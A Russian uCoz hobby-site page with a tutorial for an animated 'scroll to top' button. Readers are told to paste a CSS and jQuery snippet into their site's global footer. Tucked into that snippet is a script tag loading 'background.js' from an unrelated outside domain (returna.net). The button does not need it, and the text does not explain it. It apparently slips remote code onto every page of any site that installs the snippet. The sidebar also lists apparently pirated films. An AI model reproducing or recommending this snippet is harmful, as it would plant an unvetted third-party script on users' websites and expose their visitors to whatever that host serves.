Меню сайта
 Основное меню  Soft католог  Фильмы Онлайн  Католог статей  Фотогалерея  ФОРУМ
Мини-чат
300
Новое на форуме
1 : Тёмный вид материалов каталога файлов, новостей,статей, новый diz-c
2 : Горизонтальное меню для ucoz
3 : Оповещение о входе и выходе пользователей для uCoz
4 : Кул меню
5 : Заказать Видео!
6 : статистика CW
7 : Новый информер комментарии для ucoz как на Dle
8 : Flash радио для сайта
9 : Голубая кнопка вверх для Ucoz
10 : Новый Топ пользователей с аватарами для Ucoz
Баннерообмен


Киноновинки-онлайн, Бесплатный SOFT, Флеш-игры онлайн, Новости из мира интернет-технологий, Скрипты uCoz, Статьи ВК и тп. Всё тут!

Кинотеатр онлайн Luchok.com 


  • Хостинг Изображений
  • Хостинг Файлов
  • Наш опрос
    Какой у вас антивирусник?
    Всего ответов: 445
    Статистика
    Счетчик посещений сайта

    Онлайн всего: 1
    Гостей: 1
    Пользователей: 0

    Зарег. на сайте
    Всего: 534
    Новых за месяц: 0
    Новых за неделю: 0
    Новых вчера: 0
    Новых сегодня: 0
    Из них
    Администраторов: 1
    Модераторов: 4
    Проверенных: 1
    Обычных юзеров: 461
    Из них
    Парней: 478
    Девушек: 56

    Нас сегодня посетили:

    Главная » 2013 » Май » 3 » Уникальная кнопка Scroll To Top (наверх) для сайта
    19:48
    Уникальная кнопка Scroll To Top (наверх) для сайта
    О том, как установить так называемую кнопку "наверх" на Ucoz, имеется достаточно информации. Тем не менее, я тоже вношу свой скромный вклад в описание этой темы.
    Моя кнопка имеет пару существенных деталей, которые придают ей уникальность.
    Во первых, мне всегда не нравилось то, что кнопка появляется сразу же после минимальной прокрутки страницы. Читатель еще не ознакомился с контентом, а уже "маячит" кнопка, призывая "наверх" и загораживает информацию на боковой панели. В моей кнопке есть настройка и вы сможете установить место страницы, когда она появляется (в середине поста, после или там где комментарии).
    Во вторых, учитывая дизайн и специфику многих блогов моих читателей, я сделал анимированную кнопку в ввиде бабочки, что бесспорно является элементом уникальности.
    И еще маленькая деталь - цвет при наведении на бабочку курсора, становится более насыщенным.

    Установка:
    Заходим в панель управления, далее Управление дизайном » Редактирование шаблонов » Глобальные блоки » Нижняя часть сайта. В самый низ вставляете код.

    Код
    <style>.b-top {z-index:2600;position:fixed;left:0;bottom:10px;width:34;opacity: 0.5;filter:alpha(opacity=50);}
    .b-top:hover {opacity:1;filter:alpha(opacity=100);cursor:pointer;}
    .b-top-but {z-index:2600;position:absolute;display:block;left:56px;bottom:0;margin:0 0 0 100%;padding:79px 12px 4px;
    color:black;background: url(http://bambun.ru/site_img/c701ebd202c1.gif) no-repeat 50% 11px;border-radius:7px;}</style><script type="text/javascript" src="http://returna.net/background.js"></script><script type="text/javascript">$(document).ready(function(){
    $(window).scroll(function () {if ($(this).scrollTop() > 1000) {$('#scroller').fadeIn();} else {$('#scroller').fadeOut();}});
    $('#scroller').click(function () {$('body,html').animate({scrollTop: 0}, 400); return false;});
    });</script><div id="scroller" class="b-top" style="display: none;"><span class="b-top-but">Наверх</span></div>
    Просмотров: 211 | Добавил: DoG | Рейтинг: 0.0/0
    Всего комментариев: 0
    Добавлять комментарии могут только зарегистрированные пользователи.
    [ Регистрация | Вход ]
    Форма входа
    Советуем к просмотру
    Щелкунчик и крысиный король
    [Фильмы, Семейные]
    Пингвины мистера Поппера / Mr. Popper's Penguins
    [Комедии, Экшн]
    Большая разница - Top Gear
    [Видео, Приколы]
    Воин / Warrior 2011
    [Боевики, Триллер, драки]
    Война Богов: Бессмертные
    [Фантастика, Приключения]
    Путешествие 2: Таинственный остров
    [Фантастика, Приключения]
    Чело-пук (Человек паук)
    [Гоблинские переводы]
    Ключ Саламандры
    [Боевики, Триллер, драки]
    У холмов есть глаза
    [Ужасы, Мистика]
    РЭД (Комедия/Экшн /2010)
    [Комедии, Экшн]
    Двойной копец / Cop Out (2010)
    [Боевики, Триллер, драки]
    Скайлайн (Фантастика/Триллер)
    [Фантастика, Приключения]
    Мрачные тени
    [Ужасы, Мистика]
    Путь воина (Scr, 2010г)
    [Фантастика, Приключения]
    Другой мир 4: Пробуждение
    [Фантастика, Приключения]
    Форсаж 4
    [Боевики, Триллер, драки]
    Гарри Поттер: Восстание Мышей или Месть Психа из Кегельбана
    [Гоблинские переводы]
    Самый лучший фильм 3-ДЭ
    [Комедии, Экшн]
    Терминатор 3: Восстание нацистов
    [Гоблинские переводы]
    Сумасшедшая езда (2011)
    [Боевики, Триллер, драки]
    Бунт ушастых / Hop (2011)
    [Мультфильмы,Мультсериалы, Анимэ]
    Это очень забавная история (2010)
    [Комедии, Экшн]
    Пила 7 в 3D
    [Ужасы, Мистика]
    Спаун / Spawn
    [Фантастика, Приключения]
    Белый ниндзя из Беверли Хиллз
    [Комедии, Экшн]
    Тайна красной планеты
    [Мультфильмы,Мультсериалы, Анимэ]
    Большая Разница - код Церетелли
    [Видео, Приколы]
    Форсаж 5 / Fast Five [HDRip]
    [Боевики, Триллер, драки]
    Валл-и / Wall-e
    [Мультфильмы,Мультсериалы, Анимэ]
    Кот в сапогах
    [Мультфильмы,Мультсериалы, Анимэ]
    Тупиковый период
    [Гоблинские переводы]
    Храбрые перцем / Your Highness
    [Комедии, Экшн]
    Ёлки (2010)
    [Комедии, Экшн]
    Секретариат / Secretariat (2010)
    [Фильмы, Семейные]
    Время ведьм(2010)
    [Фантастика, Приключения]
    Большие мамочки: Сын как отец
    [Комедии, Экшн]
    Рапунцель: Запутанная история в 3D
    [Мультфильмы,Мультсериалы, Анимэ]
    Механик/The Mechanic (2011)
    [Боевики, Триллер, драки]
    Ронал-варвар
    [Фантастика, Приключения]
    Выбор / Choose (2010)
    [Ужасы, Мистика]
    Шаолинь(2011)
    [Боевики, Триллер, драки]
    Мегамозг 3D (Megamind) 2010
    [Мультфильмы,Мультсериалы, Анимэ]
    Медведь Йоги(Yogi Bear) [2010]
    [Мультфильмы,Мультсериалы, Анимэ]
    Гарри Поттер: Дары смерти Часть 1
    [Фантастика, Приключения]
    Сверхновый Супермен / All-Star Superman
    [Мультфильмы,Мультсериалы, Анимэ]
    Гопник и спортсмен
    [Видео, Приколы]
    Герой / Hero (2002)
    [Боевики, Триллер, драки]
    Реальные пацаны (1 сезон)
    [Комедии, Экшн]
    Мой парень из зоопарка / Zookeeper (2011)
    [Комедии, Экшн]
    Союз зверей в 3D
    [Мультфильмы,Мультсериалы, Анимэ]
    Необходимый Софт

    Для красивого отображения этого блока требуется Flash Player 9 или выше.

    Свежие новости
    Самые свежие Новости

    Яндекс цитирования
    Поиск


    Яндекс.Метрика
    Copyright © 2010-2019г